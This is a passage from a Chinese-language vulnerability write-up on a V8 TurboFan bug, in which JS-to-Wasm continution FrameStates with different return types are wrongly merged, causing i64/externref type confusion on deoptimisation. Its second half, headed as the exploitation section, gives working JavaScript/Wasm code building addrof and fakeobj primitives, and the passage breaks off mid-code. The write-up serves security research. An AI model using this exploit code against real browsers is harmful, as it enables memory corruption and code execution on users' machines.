延续的签名。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">当同一个优化的 JavaScript 函数可以调用两个参数列表匹配但返回类型不同的 Wasm 访问器时，这就成了问题。回归测试可以通过功能上等效于以下代码的函数触发：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">builder</span><span leaf=""><br/></span><span leaf="">  .addFunction(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;return_ref&#34;</span></span><span leaf="">, kSig_r_v)</span><span leaf=""><br/></span><span leaf="">  .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index]);</span><span leaf=""><br/></span><span leaf="">builder</span><span leaf=""><br/></span><span leaf="">  .addFunction(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;return_i64&#34;</span></span><span leaf="">, kSig_l_v)</span><span leaf=""><br/></span><span leaf="">  .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index]);</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">两个函数都不接收参数，并且两个 JS-to-Wasm 延续状态都使用相同的延续内置函数。因此，根据有缺陷的相等性运算符，相应的元数据是相同的：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">externref 状态         i64 状态</span><span leaf=""><br/></span><span leaf="">类型                     JS-to-Wasm 延续   JS-to-Wasm 延续</span><span leaf=""><br/></span><span leaf="">parameter_count          0               0</span><span leaf=""><br/></span><span leaf="">max_arguments            0               0</span><span leaf=""><br/></span><span leaf="">local_count              0               0</span><span leaf=""><br/></span><span leaf="">shared_info              empty           empty</span><span leaf=""><br/></span><span leaf="">bytecode_array           empty           empty</span><span leaf=""><br/></span><span leaf="">signature                () -&gt; externref   () -&gt; i64</span><span leaf=""><br/></span><span leaf="">                        ^ 未比较          ^ 未比较</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">具体来说，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">parameter_count</span></code><span leaf=""> 描述的是延续内置函数的显式输入。它并不对 Wasm 函数的返回类型进行编码。因此，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">() -&gt; externref</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">() -&gt; i64</span></code><span leaf=""> 的两个函数可以具有完全相同的基类元数据，尽管它们的结果需要完全不同的具体化操作。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateData::operator==</span></code><span leaf=""> 在决定两个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 节点附带的元数据是否相等时，依赖于这个比较：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> lhs.frame_state_info == rhs.frame_state_info &amp;&amp;</span><span leaf=""><br/></span><span leaf="">       lhs.instructions == rhs.instructions &amp;&amp;</span><span leaf=""><br/></span><span leaf="">       lhs.machine_types == rhs.machine_types &amp;&amp;</span><span leaf=""><br/></span><span leaf="">       lhs.int_operands == rhs.int_operands;</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这个比较通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateInfo::operator==</span></code><span leaf=""> 进行，它检查弃绝 ID 和状态组合模式，然后委托给 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameStateFunctionInfo::operator==</span></code><span leaf="">。对于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">JSToWasmLazyDeoptContinuation</span></code><span leaf="">，两个调用点都使用字节码偏移量，因此那些外部字段也匹配。被忽略的派生字段是唯一区分两种返回约定的元数据。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">当剩余输入也匹配时，公共子表达式消除得出结论：两个帧状态是相同的。它会移除一个，并将其使用重定向到另一个。哪个返回签名幸存下来取决于保留哪个状态，但无论哪种方向都不安全。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">当编译器执行此替换时，并不会立即出现问题。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 是元数据，而不是在正常路径上执行的操作，并且只要优化函数保持有效，两个 Wasm 调用仍然会正确返回。只有当执行遇到消耗错误共享状态的去优化出口时，这种不匹配才会被观察到。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf=""><img alt="Two JS-to-Wasm FrameStates with different signatures being incorrectly merged" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="502781933" data-ratio="0.5333333333333333" data-w="1200" data-type="svg" src="https://wechat2rss.xlab.app/img-proxy/?k=0714aca7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_svg%2FQ3auHgzwzM5VibbnNiaicZRgNsibIA8t0vCCqzc3n9zj7NibjBOicPDSbmAiambZ3XLQJCfmeKVfWicmqBnynqZbfNsFAicJJg6wampian5zNl80wgJtff17k49O2v7Q%2F640%3Fwx_fmt%3Dsvg%26from%3Dappmsg"/></span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">以下 JavaScript 形状使 TurboFan 在一个函数中获得两个调用目标：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(ProtoForI64.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, { </span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.return_i64 });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(ProtoForRef.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, { </span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.return_ref });</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">foo</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">o</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> o.x;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在预热期间，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">foo</span></code><span leaf=""> 被调用时传入两种原型的实例。TurboFan 为两种接收者形状专门化属性访问，并内联相应的 JS-to-Wasm 包装器。这就创建了两个可以被公共子表达式消除错误合并的延续 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf="">。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">Wasm 函数首先调用一个导入的 JavaScript 回调，然后从可变全局变量中加载其返回值。该回调在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">foo</span></code><span leaf=""> 被优化后更改了其中一个原型：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> exports_ = makeInstance(</span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">()</span></span><span leaf=""> =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (arm_deopt) {</span><span leaf=""><br/></span><span leaf="">    ProtoForRef.prototype.deopt_marker = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">更改原型会使已嵌入优化代码中的假设失效，并将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">foo</span></code><span leaf=""> 标记为需要去优化。由于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">foo</span></code><span leaf=""> 在 JS-to-Wasm 调用下暂停，实际的转换是当 Wasm 调用返回时的延迟去优化。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">在代码生成期间，幸存下来的签名在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">JSToWasmFrameStateDescriptor</span></code><span leaf=""> 中被转换为单个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">return_kind</span></code><span leaf="">。该返回类型被序列化到去优化转换中。当重建栈帧时，不再参考原始的调用目标，因此之后没有机会注意到序列化的返回类型属于另一条路径。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">此时，去优化器参考合并后的延续状态。假设实际调用返回一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf="">，但幸存下来的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">FrameState</span></code><span leaf=""> 包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 签名。去优化器将返回寄存器中的标记引用当作原始的 64 位整数读取，并将其具体化为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">BigInt</span></code><span leaf="">。这就将标记指针的位作为整数暴露出来。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">相反的方向则更加危险。如果实际调用返回一个攻击者控制的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf="">，但幸存状态包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 签名，去优化器会将这些 64 位当作标记的 JavaScript 引用。由于错误的元数据信息表明寄存器已经包含一个引用，因此不会对对象进行从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">BigInt</span></code><span leaf=""> 的转换或任何验证。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">结果导致 Wasm </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 和 JavaScript 对象引用直接混淆：</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span leaf="">实际的 externref + 记录的 i64     =&gt; 地址暴露为 BigInt</span><span leaf=""><br/></span><span leaf="">实际的 i64       + 记录的 externref =&gt; 整数被当作对象引用</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">这提供了下一节中使用的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">addrof</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">fakeobj</span></code><span leaf=""> 原语。</span></p><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">漏洞利用</span></span></h2><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">获取 addrof 和 fakeobj</span></h3><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">由于混淆发生在 Wasm </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 之间，获取初始原语就变得很直接。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 26px;color: black;font-size: 14px;text-align: center;"><span leaf=""><img alt="V8 in object properties memory layout" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="502781934" data-ratio="1.3241758241758241" style="width: 220px;height: 291px;" data-type="png" data-w="546" src="https://wechat2rss.xlab.app/img-proxy/?k=9d6325ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTKdPSwEibsZjCtX0NTjxJrMnNbd0AajtcdfRZZov8Xe3BZGCw8hRw5jpj3bxPk8bgfKHVhwEUOMrBE1LQ63QouX74ja7cUVhTV44dPmrkedI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">我们首先创建一个 Wasm 实例，其中包含两个参数签名相同但返回类型不同的函数。由于错误的签名比较，在确定两个调用点是否兼容时，返回类型被忽略了。</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">makeInstance</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">callback</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> builder = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> WasmModuleBuilder();</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> callback_index = builder.addImport(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;env&#34;</span></span><span leaf="">, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;callback&#34;</span></span><span leaf="">, kSig_v_v);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> g_ref = builder</span><span leaf=""><br/></span><span leaf="">    .addGlobal(kWasmExternRef, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    .exportAs(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;g_ref&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> g_i64 = builder.addGlobal(kWasmI64, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">, </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">).exportAs(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;g_i64&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  builder</span><span leaf=""><br/></span><span leaf="">    .addFunction(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;rr&#34;</span></span><span leaf="">, kSig_r_v)</span><span leaf=""><br/></span><span leaf="">    .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_ref.index])</span><span leaf=""><br/></span><span leaf="">    .exportFunc();</span><span leaf=""><br/></span><span leaf="">  builder</span><span leaf=""><br/></span><span leaf="">    .addFunction(</span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;rl&#34;</span></span><span leaf="">, kSig_l_v)</span><span leaf=""><br/></span><span leaf="">    .addBody([kExprCallFunction, callback_index, kExprGlobalGet, g_i64.index])</span><span leaf=""><br/></span><span leaf="">    .exportFunc();</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> builder.instantiate({ </span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">env</span></span><span leaf="">: { callback } }).exports;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">为了获得 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">addrof</span></code><span leaf="">，我们将目标对象放在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">externref</span></code><span leaf=""> 全局变量中，但导致去优化器使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">i64</span></code><span leaf=""> 返回类型来具体化结果。</span></p><pre data-tool="mdnice 编辑器" style="margin-top: 10px;margin-bottom: 10px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;max-width: 100%;border-radius: 4px;margin: 10px auto 0 auto;"><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">addrof</span></span><span leaf="">(</span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">target</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> arm_deopt = </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">LeakI64</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;"><span leaf="">function</span></span><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">LeakRef</span></span><span leaf="">() </span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> exports_ = makeInstance(</span><span style="color: #DCDCDC;line-height: 26px;"><span style="color: #DCDCDC;line-height: 26px;"><span leaf="">()</span></span><span leaf=""> =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #569CD6;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (arm_deopt) {</span><span leaf=""><br/></span><span leaf="">      LeakRef.prototype.deopt_marker = </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(LeakI64.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.rl,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">configurable</span></span><span leaf="">: </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span style="color: #4EC9B0;line-height: 26px;"><span leaf="">Object</span></span><span leaf="">.defineProperty(LeakRef.prototype, </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">get</span></span><span leaf="">: exports_.rr,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">configurable</span></span><span leaf="">: </span><span style="color: #569CD6;line-height: 26px;"><span leaf="">true</span></span><span 